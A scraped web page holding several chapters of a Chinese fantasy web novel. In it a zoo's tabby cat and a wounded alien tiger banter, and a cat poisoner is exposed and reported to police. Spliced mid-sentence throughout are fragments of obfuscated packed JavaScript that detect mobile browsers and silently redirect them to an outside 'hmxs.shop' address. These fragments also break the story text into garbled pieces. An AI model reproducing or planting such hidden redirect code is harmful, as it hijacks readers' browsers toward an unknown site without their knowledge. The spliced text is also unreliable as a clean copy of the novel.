p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998853|193926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的伤势要恢复,进食的确是非常必要的行为。 于是,饿了许久肚子的东北虎终于开饭。 即使暂时低头,接受了这样的食谱,秦寂也是一头吃饭足够斯文的虎。 好在兽类形态下,他的味觉嗅觉都更接近猛兽,对新鲜生肉的接受度良好,再加上不知道下次人类投喂不加药物的食物会是什么时候,所以饿了许久的秦寂完全放开肚子吃了一顿。 吃的多了,排泄自然也是顺理成章的事情。 人类当然不会给老虎修厕所,所以秦寂还专门绕去远离自己干草垫和食槽水槽的地方优雅如厕,之后甚至扒拉了树枝树叶什么的盖住。 ……但这并不妨碍人类迫不及待地围上去,把虎埋起来的东西翻出来,视若珍宝地打包带走。 秦寂趴在干草垫上,看似闭目养神,实则整头虎都要碎了。 这个动物园是一定要待下去吗。 秦寂在心里问自己。 还没等他做出决定,一道小火团似的精神力便风驰电掣着由远及近,砰的一声撞在了玻璃上。 秦寂:“?” 狸花猫绿油油的眼睛绿油油地盯着老虎的食槽,像是恨不得敲碎玻璃冲进去一扫而空。 “天哪野哥怎么这会儿来了!” “费洛蒙呢!!!快插上!!” “不对,我瞅着野哥怎么好像不是来看虎的……呃?野哥是不是饿了?” “饿到盯着老虎的食槽吗?这不对吧?” “……对不对的再说,赶紧去给野哥准备肉!” 十分钟后,江野无视了玻璃后面盯着猫看的老虎,一颗猫猫头扎进猫脑袋几倍大的不锈钢盆里,对着虎餐大快朵颐,吃的滋溜滋溜吧唧作响。 秦寂看了眼猫食盆边上一左一右两个麦克风,分外无语。 他早上不是都吃饭了吗! 为什么还要搞这出! 去各个食堂吃了一圈,最后在虎园又干了一盆肉,江野这才觉得那种抓心挠肺的饥饿感褪了不少,舔着爪子擦嘴捋胡须。 江野知道自己好像有些不对劲。 所以他克制着每个地方都只吃一顿。 除非所有的食堂坐在一起对账,否则不会有人知道猫今天吃了多少东西。 江野吃饱了肚子,才开始一边舔毛一边思考今天的事儿,顺带思考一下玻璃对面那头把大哥当傻猫哄着耍的老虎。 然后江野就听见—— “实验室说泰哥的粪便里没有检测出寄生虫,现在好几个专家还在那研究讨论呢。” “这不能吧?泰哥可是野生老虎,怎么会没有寄生虫?” “对啊,所以专家们怀疑是不是采样环节或者仪器有问题,刚才去别的园区搞了点样本。” “唉,也不知道泰哥下顿吃饭在什么时候,能不能多拉一点……” 江野放声大笑,笑到肚皮朝上,四爪乱划,放肆的喵嗷笑声顺着麦克风传入虎在的隔离区。 从笑声里听到信息的秦寂:“……” “采样的话,野哥的粪便应该更有对比价值?毕竟野哥吃的和泰哥是同样的肉,虽然大小存在差异,但好歹是猫嘛……” “野哥今天还没拉,但昨天走之前好像埋过,我去翻翻!” 江野的笑声戛然而止。 隔离区里的虎听不到工作人员的对话,但是虎顺着猫不敢置信的视线,看到了蹑手蹑脚蹲在猫砂盆旁边,拿起铲子开始翻找的人。 秦寂眉骨上挑,抬起前爪,用指甲在玻璃上敲了敲。 江野下意识扭头看虎。 就见玻璃对面的虎掐准他看过去的瞬间,露出了一个标准的,礼尚往来的虎笑。 11. 讨厌虎【十一更】 江野可以心安理得地看着人类帮猫清理猫砂盆,但不太能接受人类揣着自己的大巧克力豆献宝似的到处跑。 于是狸花猫蹿到猫砂盆旁边Duang地蹲下,对着工作人员手里的铲子就是一顿猫爪啪.啪.啪。 放下,给猫放下! “别别别,野哥别打!” “啊撒出去了!” 本质上还是很讲素质很爱干净的江野动作一顿。 工作人员趁机身体一转,身体护着手里的铲子,眼疾手快往同事递过来撑开的取样袋里一塞。 江野:“……” 狸花猫一只爪搭在猫砂盆边缘,直勾勾盯向拿着取样袋的工作人员。 工作人员下意识举起来看了一眼,嘟囔:“哇,和泰哥的比起来,野哥的好小哦。” 耳边又传来某只老虎幸灾乐祸的笑声。 那一瞬间,江野听到了自己牙齿发出的咔哒咔哒声。 工作人员只觉得后脊背一凉,来不及多想,拎着取样袋跑了。 另一个工作人员还一脸大义凛然地蹲在猫砂盆前,手臂张开挡在狸花猫面前。 好像生怕江野跟过去抢似的。 江野:“……” 猫真的服了。 江野蹬了一脚猫砂盆,挎着一张小猫批脸悻悻走到饮水机前低头喝水。 猫不是抢不过人,猫只是渴了。 猫很忙。 猫没有人变态。 秦寂看着玻璃外面小猫的一通操作,一声笑之后紧接着就是憋不住的一连串笑,如果不是还有点理智在,这会儿已经趴下呼哧呼哧大笑了。 江野板着毛脸喝了一会儿水,抬爪把脸擦干,等了一会儿,属于大猫的笑声还没停下。 狸花猫走到玻璃前,前爪蹬着玻璃飞身而起,两条结实有力的后腿对着玻璃就是哐的一声猛踹。 隔着一层玻璃,秦寂愣是对狸花猫踹到眼前的粉色爪垫不闪不避,同样毛茸茸的虎耳朵十分淡定从容地一动。 江野眼神不善地瞪视秦寂。 有本事你出来! 秦寂眉骨微扬,虎嘴微笑。 有本事你进来。 敢放狠话但并不敢进去的江野目光游移了一瞬,大方决定发扬大哥怜惜幼小伤残的包容精神,不和受了伤又被关起来的伤病大猫一般计较。 狸花猫舔舔爪子,靠着玻璃那侧的猫毛紧贴在玻璃上,挤压成了虎斑纹路的一片。 秦寂并不知道江野的想法,他只是忽然觉得自己有点幼稚,便也选择休战,调整姿势从端坐改为趴下,四肢舒展,大脑袋搭在前爪上。 “去看过那只小猫鬼了?”秦寂问。 江野舔爪子的动作一顿,含含糊糊应了声:“嗯。” 大哥感觉有一点点丢脸。 为之前被小猫鬼吓得吃不下饭,被虎看到并且还被虎安慰的黑历史。 秦寂没发现江野的小心思,重点放在从江野的猫嘴里打探消息上。 “那只小猫的情况怎么样?你有接触到它吗?” 江野听秦寂并没有笑话猫的意思,松了口气,整只猫都显得轻松正常了不少。 他换了个坐姿,两条腿抻长,以一个标准的仰卧起坐的姿势给自己打理肚皮毛,一边把早些时候发生的事儿讲给秦寂听。 江野其实挺喜欢这种能交流倾诉的感觉,一直以来,他都是一只猫,身边听得懂猫语的小弟听不懂他说话的意思,能明白他意思的人类又听不懂猫语,很多时候,江野都会控制不住生出几分失落。 秦寂是第一个能听懂猫的存在。 所以江野喜欢和秦寂说话。 秦寂也的确在认真听江野的叙述。 一边听,一边努力掩饰虎眼睛里流露出的惊讶。 秦寂没见过治愈系精神力兽人,更别提被治疗,但星网上多的是幻想被治愈师治疗的兽人们。 哪怕是一些幻想论坛文学,也多少会带出一些兽人们口口相传的精神力治愈细节。 只是可能会被美化或者放大效果之类的。 从秦寂的角度来看,江野对那只小猫做的,已经很接近星网上所说的精神疗愈。 但问题是…… 这可能吗? 这现实吗? 秦寂趴在隔离区里,眼神直勾勾盯着玻璃外面低头忙忙碌碌舔自己的狸花猫,一身皮毛在阳光下闪着微金的光,身后的虎尾巴尖搭在自己的后腿上,时不时翘起又落下。 在兽人联邦数量都不过百的治愈系精神力,居然会出现在一个科技落后到没有被星图录入的星球上,拥有这样珍贵精神力的兽人,还平安活着长大到了精神力可以外放的年纪? 不,应该说…… 如果不是因为在这个落后星球,这只并不是贵族出身的小猫根本活不到现在,早在精神力露出苗头时就被其他兽人一口吞了。 而如果不是因为精神力恰好拥有治愈性质,这只出生在落后星球,完全没有长辈引导精神力甚至根本不知道精神力是什么的小猫,也早早精神力暴动,死的悄无声息了。 要知道哪怕是在如今的兽人联邦,也依旧有许多由于缺少看护、营养不足、环境恶劣等因素,精神力暴动而夭折的幼崽。 恰到好处的巧合才有了这么一只与众不同的,珍贵的小猫。 秦寂心思一动。 他无比清晰明确的意识到,那股指引他降落到这个星球的直觉,或许是源自于他本能对求生的极度渴求,以及江野无时无刻处于外放状态的治愈系精神力。 秦寂很想探出自己更多的精神力去接触江野的精神力,但他伤得太重,且…… 抱着自己的两条腿专心舔毛的江野忽然打了个哆嗦,一个就地打滚四脚着地,拱起脊背,绷直尾巴,身上的毛炸出根根分明的刺猬模样。 秦寂立刻收回精神力,低头研究自己的虎爪。 ……小猫的直觉似乎挺厉害。 有危险! 江野绿色的猫眼打量四周,如临大敌。 刚才他好像感觉有什么坏东西舔了猫一下。 错觉吗? 不太像。 炸着毛的江野在周围巡视了一圈,最后将视线落在玻璃对面低头舔爪垫的虎身上。 秦寂察觉到江野的目光,抬眼看过来,眼神里带着几分疑问,很是无辜。 江野的直觉一向特别准,看人看猫看狗,第一眼就能感觉出个大概,但凡是他觉得不对的,那绝对都是有问题的。 虽然当初他第一眼看秦寂的时候,脑子里满满当当都是大写的警惕。 但江野很快就把那份警惕归结于秦寂实在过于有压迫力的体型上。 “你要去给那只小猫报仇?”秦寂主动开口,岔开话题,“你打算怎么对付人类?” 江野沉思,爪垫在地上无意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998854|193926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 识地踩着。 这其实还是江野第一次真正意义对上人类,之前遇到一些事时,江野大多都是会避开人类的。 毕竟对于猫来说,人类也是体型悬殊、战力不对等的存在。 “……我还没有想好。” 这会儿的江野倒是没有在小猫面前的底气十足,显得有一点点茫然,外加些许的犹豫。 “医生他们在找害了小猫的人,我应该可以引她找到那个人……?” 虎的胡须颤动,看上去像是在微笑的唇角染上几分嘲讽的意味。 “然后呢?” 江野刚清理完自己的爪垫,踩了两下后,把尾巴毛垫在了爪垫下面继续踩:“人类有法律,有警察,会把那个人抓起来。” 江野虽然嘴上这样说,但其实觉得心里不太舒服。 “小猫,别骗自己。”秦寂低声,“你也说了,那是人类的警察,人类的法律。” “他就算害了很多猫又怎样呢?即使被抓,也不会被审判什么。” “因为他是人,但他伤害的不是人。” 江野看向秦寂。 秦寂看江野的目光多出几分了然的怜悯。 “人类的法律保护不了动物,这就是种族之分。” “人类与我们,生而不同。” 在星球亿万光年之前,兽人们也曾与人类朝夕相处,和平共存,然而精神力的出现让兽人们意识到了不公。 它们开始觉醒,它们开始争取,它们……和人类开始了争斗。 最终,科技发展,来自各个星球的、越来越多的它们聚集在一起,出走星际,建立了与人类帝国截然不同的兽人联邦。 而显然,这颗落后且原始的星球,仍旧处于以人类为尊的政权中,却已经悄悄孵化出属于兽的种子。 “没有什么不同!”江野下意识反驳秦寂的话,“猫有坏猫,狗有好狗,人类也有好有坏,只是语言不通而已!” 秦寂歪歪硕大的老虎脑袋,说出的话却十分直白:“既然没有什么不同,那你又为什么要在这里学着人类的样子打卡上班,赚取报酬,而不是像真正的猫一样撒娇乞讨?” 江野:“……” 江野真的恨不得踹碎面前的玻璃,踩着一堆玻璃碴子昂首挺胸走进去,给秦寂几爪子。 秦寂的嘴是真的很毒,显然在一猫一虎稍稍熟悉了一些后,他的某些本性也开始逐渐暴露:“哦,让我猜猜,你是不是还想带些猫过去,在那个人被抓走之前报复他一顿?” 被说中的江野尾巴一僵。 秦寂幽幽道:“我劝你不要这么做,毕竟在人类眼里,猫伤害的是不是人渣并不那么重要,重要的是,猫伤了人。” “你过惯了现在这样的生活,肯定不希望被人类大肆抓捕驱逐吧?” 秦寂说完,还想起什么似的,补了句。 “唔,还有那些你带去的猫。” 江野开始磨牙:“那你说怎么办!” 秦寂眼睛一闭,开始享受自己的养伤下午阳光:“我怎么知道?我只是一只被关起来的老虎罢了。” 玻璃对面的老虎懒洋洋地舒展身体,虎嘴上扬起微笑的弧度。 “祝你好运,小猫~” 江野的前爪指甲噌地一下,不受控制地冒出来,戳在地面上。 好烦啊! 这头老虎!! 贱贱的,欠欠的!!! 12. 投毒【十二更】 虽然秦寂真的是一头特别讨厌的虎,但他说的的确都是很现实很真实的问题。 江野吩咐手下的小弟跟着沈青,一路跟到目标小区,去找小猫说的那个人。 但找到之后要怎么做,的确是横亘在江野面前的问题。 不过江野从来不是什么自我内耗的性格,猫从不内耗,猫只管行动。 *** 晚秋的风裹着寒意,刮得小区绿化带里的树叶簌簌作响。 江野的四只爪子踩在落叶上,半点声响都没发出来,碧绿的眼瞳在夜色下反射着幽暗的微光,瞳孔缩成细缝,盯视向前方那个故作佝偻的身影。 脖子上带着的摄像头用特质的绑带固定着,帮江野佩戴摄像头的人还特意找了一块绿色的小方巾,稍稍遮挡了下江野脑袋下小巧轻便的摄像头。 拍摄镜头正对着那男人的后背。 江野很喜欢动物园的氛围,因为那里的工作人员对待动物永远有一种超乎常人的耐心与包容。 当江野表现出想要带着平常拍摄视频素材的摄像头离开的意思时,工作人员的确意外为难了一下,但还是帮江野往上打了申请。 而沈园长也通过了设备外借申请,只是提前和江野说了句,拍摄的内容可能会被动物园用作官方账号的素材。 动物园里的大家当然没有多想,甚至有点期待好奇江野这只聪明到了极点的狸花猫猫,在离开了动物园之后的下班时间里,都会干些什么 运营账号的人甚至都已经想好了到时候视频发出来的标题——花臂大哥平平无奇的一天。 看着就充满了诱惑阅读点击的意味。 江野脚步轻盈地跳上墙头,猫步无声无息。 墙下的男人身材矮小,穿件洗得发白的旧夹克,走路一颠一颠的,手里拎着个黑色塑料袋,袋口没扎紧,露出半截透明的塑料瓶,塑料瓶上按了喷头,瓶子里面装着透明的液体。 江野动了动鼻子。 瓶子里的液体并没有散发出味道,但他在男人身上嗅闻到了一股很危险的气味。 江野手底下的猫跟着男人已经有三天了。 当时根据沈青诊所里的那只小猫鬼给出的消息,一群猫锁定了这个男人。 比起宠物猫,流浪猫和宠物狗在消息这方面更加灵通,有好几条经常下来遛弯的狗子都说,这个男人每天傍晚都会来小区转,专往流浪猫聚集的地方或者是能出现猫粮的大铁盒里丢东西,丢完就走,动作很快。 早在三天前,江野就让手下的小弟猫们暂时将这个小区的流浪猫进行驱逐,而他则在准备了摄像头的今天亲自过来这个小区。 说实话,江野不知道录到人赃并获的视频,交给动物园的人发布之后,事态会不会有一个好的发展,这个人会不会得到应有的惩罚,但他不能因为不确定有没有,而放弃去做这件事。 然而江野没想到,他刚跟到3号楼后的小花园,就看见三个熟悉的身影先一步拦在了男人面前。 是沈青,还有在诊所做前台的小哥,以及一个江野没见过的女生。 女生看起来二十出头,戴副黑框眼镜,气质文静,存在感不太高的样子,应该就是之前沈青说救助了小猫送到诊所的朋友。 江野赶紧找了个茂密的灌木丛钻进去,把自己藏得严严实实,只露出半个猫脑袋,特意调整位置,让摄像头稳稳对着前方。 “站住!你手里拿的什么?”前台小哥率先开口,声音洪亮,震得枝头的枯叶都掉了几片。 矮小男人吓了一跳,猛地转过身,看见沈青三人,脸上先是惊慌,随即就沉了下来,把手里的塑料袋往身后藏了藏,梗着脖子道:“你们谁啊?喊什么喊?我走路碍着你们了?” 沈青往前跨了一步,她穿件浅绿色的医生服,大概是直接从诊所赶来的,白大褂的下摆还沾着点猫毛。 她的脸色很沉,目光落在男人身后的塑料袋上:“王建,对吧?这几天小区里接连有流浪猫中毒死亡,是不是你干的?” 被叫出名字,男人的眼神闪了闪,却依旧嘴硬:“我不知道你在说什么!什么中毒?那些野猫自己乱吃东西死的,关我屁事!” “关你什么事?”前台小哥往前走了两步,将同行的两个女生挡在身后,率先逼近男人,“这小区是大家的公共区域,你在这里投毒,万一被小孩误食了怎么办?你有没有点安全意识?” 虽然他们是因为流浪猫来的,但可悲的是,想要说服作恶者,却必须隐藏他们真正在意的毛茸茸们。 “小孩?管我什么事。”王建嗤笑一声,“再说了,我投毒又怎么了?投的是给那些畜生吃的,又不是给人吃的。在地上和畜生一样捡东西吃,那是犯贱。” “你们少在这里多管闲事!” 沈青的眉头皱得更紧了:“流浪猫也是一条生命,你怎么能这么残忍?” “残忍?”王建像是听到了什么天大的笑话,笑得肩膀都抖了起来,声音又尖又细,“畜生而已,有什么残忍不残忍的?我告诉你们,我就算真投毒杀了这些野猫,你们也拿我没办法!” 他说着,故意把塑料瓶拿出来,对着旁边就是一通狂喷,尤其是在旁边的小区台阶上的一个纸碗里有意多喷了好几下。 ——那纸碗是小区里一个喂猫人昨天刚放这,专门给流浪猫装猫粮的。 接诊了好几只小猫但也亲手送走它们的沈青脸色一变:“氟乙酸钠?” 氟乙酸钠是一种剧毒化合物,就是通俗讲的杀鼠粉,白色的晶体或者粉末本来就容易误食,如果再兑了水到处污染,更是防不胜防。 江野在灌木丛里看得清清楚楚,爪子忍不住扣紧了地面,喉咙里发出低沉的呜咽声。 要不是在拍摄,他是真的很想出去抓烂这个男人的脸,再把那什么氟乙酸钠全怼男人嘴里。 “是又怎么样?你们能怎么样?打我?”王建放下塑料瓶,咧嘴笑了,一副有恃无恐的样子,“打我你们就是故意伤害,是犯罪!报警抓我?更没用!顶多就是思想教育几天,连罚款都不会有!你们知道为什么吗?” 他环视着沈青三人,脸上露出得意的神情:“因为这些畜生,连个主人都没有,根本不算是私人财产!法律管天管地,还管不着我杀几只野猫?你们倒是想替这些畜生出头,可你们凭什么?法律可不会帮你们这些同情心泛滥的蠢货!” “我警告你们,少管我的事!” 王建的声音越来越大,唾沫星子随着他的话语飞溅。 “就算你们现在报警把我抓进去,我出来之后照样干!我还会教别人也这么干!” “不就是几只畜生吗?死了就死了,有什么大不了的?也就你们这些人,整天闲着没事干,才会把心思放在这种没用的东西身上!” 他的目光落在沈青和那个女孩身上,眼神变得格外刻薄:“尤其是你们女人!不好好在家待着,找个男人嫁了生孩子,履行自己的社会义务,偏偏来管这些猫啊狗啊的破事!” “这个社会之所以变成现在这样,就是因为你们这些女人不务正业!阴阳失衡了!男人娶不到妻子,没办法成家,才过不了原本能过的好日子——都是你们的错!” 王建一边说,一边像是说出了最在乎的东西,激动到吐沫横飞,眼球充血。 “老子就要弄死这些小畜生!” 这番话像一把钝刀,狠狠扎在人心上。 前台小哥气得脸都红了,攥着拳头就要上前,却被沈青伸手拦住了。 江野原本很生气,因为猫真的从没有见过这么坏这么恶的人。 但他看见了沈青。 医生的脸色难看到了极点,嘴唇抿得紧紧的,指尖微微发抖。 医生为什么不说话呢。 为什么不反驳呢? 因为流浪动物的确不受法律的明确保护,伤害它们的人,往往得不到应有的惩罚。 也正因为看透了这一点,王建才敢这么猖狂,这么肆无忌惮。 江野的猫耳朵逐渐耷拉下来,想到了三天前秦寂的话。 其实,江野拥有一些人类的记忆,还作为流浪猫生活了好几年,他不是不知道秦寂说的是现实,是对的。 他只是……不知道要怎么做。 江野低头看着自己的毛爪爪。 哪怕皮毛的纹路看起来是很凶悍的花色,但他仍旧只是一只猫。 一只在这方面,什么都做不了的猫。 周围的空气仿佛都凝固了,除了王建得意的喘息声,就只剩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998855|193926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下风吹过树叶的沙沙声。 江野也沉默着,身上的摄像头还在稳稳地工作着,红色的录制灯一闪又一闪。 就在这时,一直站在沈青身边,显得十分安静,几乎没什么存在感的女孩突然开口了。 她的声音很轻,打破了场上的沉寂:“你说的没错,现在的法律,的确在这方面存在缺失。” “恶意投毒毒死流浪猫在法规来说,是能构成危害公共安全罪、故意毁坏财物罪的,但真正想要起诉立案判罚,几乎是不可能的事情。” 王建愣了一下,显然没料到这个看起来文文静静的女孩会说话,他嗤笑一声:“怎么?知道我说的是实话,没话说了?” 女孩没有理会他的嘲讽,继续说道:“但这个世界之所以有了法律法规,却还有那么多人学法、研法、普法,就是为了发现这些缺失,不断地去修改它、完善它。” 她推了推鼻梁上的眼镜,目光清澈而坚定,直直地看向王建:“有一只叫papi的小狗被人投毒伤害后,它的妈妈没有放弃,而是用自己的心血和坚持,推动了相关法条的完善,让伤害宠物的行为第一次,真正得到了立案量刑。” “她能做到,后来人为什么不能?” “我是学法的,”女孩的声音微微提高了一些,每一个字都清晰有力,“其实我时常会怀疑自己学法的意义,觉得很多时候,法律并不能解决所有的不公。直到今天听到你说的这些话,我才明白了一件事。” 她盯着王建,一字一句地说:“谢谢你。” “什……”王建结巴了一下,突然觉得有种难以言喻的冰冷感爬上脖颈。 “虽然你浅薄,卑鄙,无知,可耻又肮脏,简直无可救药,但你让我知道了我学法的意义。” “你闭嘴!住口!!!”王建被她说得愣住了,脸上的得意和猖狂瞬间僵住,像是被人兜头浇了一盆冷水。 他张了张嘴,想反驳,却半天说不出一句话来,只能恶狠狠地瞪着女孩:“你……你少在这里跟我讲大道理!别以为读了书就——” “信不信由你,”女孩冷冷打断他,看男人的眼神就像是在看垃圾,“但你今天投毒的行为,我们已经拍下来了。” “就算现在法律不能严惩你,我们也会把证据交给相关部门,让你为自己的行为付出代价。而且,从今天起,小区里会有无数双眼睛盯着你,我们会将你的脸传播到每一个角落,哪怕你去到其他地方,也依旧会有这样的眼睛。” “你要是再敢伤害一只动物,我们绝对不会放过你。” 王建大吼:“你们不能发!这是违法的!!你们没有经过我的同意,这是侵犯隐私权!!” “我要去告你们!!” 眼镜女生淡淡开口:“鉴于拍摄的是公共场所,且拍摄对象行为本身具有违法性,侵权的可能性较低。” “你!!你个**&%**&*!!”王建气急败坏,开始嘴里不干不净起来。 另一位根本不会被告上法庭的拍摄者静静坐在灌木丛里,调整了一下摄像头的角度,把王建脸上的狰狞和慌乱都拍了下来。 沈青从口袋里掏出手机,按下了报警电话:“喂,警察同志吗?我在XX小区3号楼后的小花园,这里有人在恶意投毒,麻烦你们过来一趟。” 王建一听“报警”两个字,脸色瞬间变了,再也没有了刚才的嚣张气焰。 他慌忙想把地上的纸碗和塑料瓶捡起来藏好,却被一直盯着他的前台小哥一把抓住手腕。 “想跑?晚了!”小哥的力气很大,死死地攥着王建的手腕,让他动弹不得。 王建挣扎了几下,没能挣脱,急得满头大汗,嘴里不停念叨着:“放开我!我没干什么坏事!你们凭什么抓我!” 沈青嗤笑,目光落在他手里的塑料瓶上:“既然你有恃无恐,觉得不会被定罪,你现在又在害怕什么?” 远处已经传来了警车的鸣笛声,越来越近。 王建的挣扎越来越无力,脸上的表情从愤怒变成了恐惧。 看着警车拉着一行人离开,一只猫脸上竟然能隐隐看出些许复杂表情的狸花猫从灌木丛里无声走出来。 江野站在夜色里,想了想,转头朝着动物园的方向跑去。 13. 黑鼻头和粉鼻头【一更】 深更半夜,动物园里静悄悄。 江野熟门熟路地挨着墙根躲开监控,跳上高台,挤进通风口,顺着阴影,四爪扒拉着墙壁滋溜滑落到虎园的地板上。 在江野猫猫祟祟靠近虎园的时候,即使身受重伤也丝毫没有放弃警惕的秦寂就发现了。 主要是某只猫无时无刻不在外放的精神力实在是太过招摇。 白天有太阳的时候还好,晚上几乎就像是个大摇大摆的白炽灯泡。 于是当江野凑到隔离玻璃角落,正准备敲玻璃吸引秦寂注视时,就冷不丁在黑暗里看到了一双睁开的虎眼睛。 江野下意识炸毛,但在看清楚是什么玩意之后,身上的毛又慢慢顺下来。 “你吓死我了,两只眼睛蹬那么老大干嘛……” 江野小声嘟囔,才不肯承认体型差给猫带来的压迫感。 提前走到隔离玻璃角落趴下等猫的秦寂没听到江野的嘟囔。 玻璃的隔音效果很好,江野之前能听到秦寂说话,是因为秦寂动用了精神力,而秦寂能听到根本不会运用精神力的江野说话,完全是靠工作人员放在外面的麦克风。 虽然前两天江野偶尔也会无意识学秦寂用精神力对话,但在江野的认知里,没有麦克风就没办法和秦寂对话,他本质其实是没能掌握精神力的。 然而现在深更半夜,即使园里有工作人员值班,也不会特意来给江野加个麦克风,大半夜的在隔离区里公放喵喵喵。 所以,如果秦寂想要和江野无障碍对话,只有一个办法。 现场告诉江野精神力的存在,并且教会江野主动使用精神力沟通。 精神力沟通是精神力的基础运用,学起来并不难,就算秦寂从前没有教导其他兽人的经验,引导江野也不是问题。 问题在于,这背后串联起来的一系列问题。 江野还是一只什么都不懂的小猫咪。 秦寂不想在自己精神海重伤,极度孱弱的时候。和一只还不了解完全性格的猫摊牌。 所以,隔离区里的虎只是趴在原地,静静注视着玻璃对面三角嘴巴张张合合不知道在咪.咪喵喵些什么的狸花猫,眼神晦暗。 ——要教导他吗? 秦寂问自己。 ——承担被人类发现端倪,亦或者被拿捏弱点的危险,去教导一只精神力百中无一的没有完全觉醒的猫? ——这只小猫,甚至都不一定真的是可以掌握精神力的兽人。 江野说了好半天都没等到秦寂的一句回应,这才意识到隔着一层玻璃,秦寂可能根本听不到他在说什么这件事。 猫仰起脑袋,迎上虎不知道看了猫多久的视线。 江野当然知道秦寂的不一般。 那么多的猫,那么多的人,那么多的狗,只有秦寂和他是那么的相似。 ——只有他能听到秦寂说话。 是的,江野虽然从来没有提起过,但从工作人员的交流里,江野早就知道秦寂的声音其实根本传不出隔离玻璃。 秦寂一定有办法让猫“说话”。 就像他做的那样。 就像……他是那么轻描淡写地笃定,江野能够和那只小猫鬼沟通。 黑夜中,都拥有完美夜视能力的两只猫四目相对。 大的虎眼里满是斟酌打量,掺杂着许许多多的深沉隐晦,隐没在无声收缩瞳孔里。 小的猫眼里倒映着从隔离区窗外透进来的星光,燃烧着满满的自信与无畏。 秦寂趴着的地方十分靠近隔离玻璃,硕大的虎脑袋不至于贴在玻璃墙上,却也没有多少缝隙。 江野用后腿支撑着身体站起来,两只前爪抵在冰凉的玻璃表面,弹性十足的粉色爪垫在玻璃表面按压晕开梅花形状的雾气。 长长的胡须因为呼吸轻轻颤动,狸花猫黑色的鼻头逐渐靠近,隔着那层厚实坚硬的玻璃,抵向东北虎那比猫大了十几倍,但却显得十分无害且柔软的粉色鼻头。 猫和猫轻碰鼻子交流气味,是一种友好、亲昵且充满信任的社交行为。 在猫的社交礼仪里,这类似于人类的握手或是友好且热情地打招呼说你好。 江野从来没有对其他猫做过这样的动作,在拥有部分人类认知的江野来看,碰鼻子这样的动作有种让他很不自在的过分亲昵。 ——当然,也因为江野从来不用费心思去主动出击交好什么猫。 大哥就是大哥。 大哥,是不需要什么碰鼻子表示友好的。 所以,当大哥赌上自尊主动示好的时候,是绝对不允许拒绝或无视的。 江野的鼻头抵在玻璃表面,温热的呼吸在玻璃表面尖尖聚集出浅薄的雾气,一双绿色的猫眼直勾勾盯着秦寂。 江野是只好奇心非常重,从不畏惧困难,且一直知道自己与众不同的猫。 他隐约感觉到,有一条截然不同的道路在秦寂的身后蜿蜒进未知的远方。 那或许危险,或许灿烂,或许会完全打破他原本的生活,却会给他带来真实的、契合灵魂的未来。 另一个世界,另一个可能。 但江野也有自己的自尊。 猫已经主动,如果秦寂不给出猫满意的回应,那么江野绝对会转头离开,再也不会踏入虎园一步。 江野身后的尾巴低垂,没有摇晃,反而有些紧张地绷着。 秦寂似乎愣住了,定定看着江野,没有动。 时间好像突然变得很慢。 但其实只过去了三秒。 自尊极强的猫在心里倒数,有些羞恼地暗自想着,只要数到1,猫立刻转头就走,不论虎说什么都不会回头。 秦寂没有给江野数到一的机会。 虎靠了过来。 因为体型的差异,秦寂没有站起来,他只是用前爪微微支撑着抬起脑袋,用略显干燥但同样弹性十足的粉鼻头,隔着一层坚硬的冰凉,覆上了江野在玻璃表面按压出扁扁平面的黑鼻头。 虎的阴影笼罩过来,几乎完全淹没了猫。 江野的两只耳朵都紧张地后撇过去,身体却不闪不避,两只前爪还扒拉在玻璃上。 秦寂的眼睛里浮现出笑意。 他想了想,抬起一只虎爪,学着江野的样子,让厚实的爪垫抵在玻璃表面,按压出大了猫爪一圈又一圈的巧克力色。 再一次的,江野听到了秦寂的笑声。 江野:“……” 可恶,显摆你哪哪都大是吧!! 大哥猫的自尊被虎爪和虎鼻头狠狠戳中。 恼羞成怒的江野用爪子重重拍向玻璃表面,却只是发出不大不小的一声“啪”。 猫收回自己的鼻头和前爪,原地把自己揣成了一块毛茸茸的生气虎皮蛋糕,脑袋用力扭到一边,只给虎留了一个凸凹凸的傲娇后脑勺。 几秒后,身后传来指甲敲击玻璃的振动闷响。 江野不情不愿地扭过头。 秦寂端坐在玻璃对面,朝着江野举起一只前爪,表演了一个爪垫开花。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998856|193926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猫的爪垫开花是表达自己情绪用的,而不是像猴子一样举起来表演的。 江野忍住自己想笑的表情,身后的猫尾巴却晃来晃去。 好蠢啊,大猫。 秦寂用前爪抵在玻璃表面,然后又收回来,指了指江野的前爪。 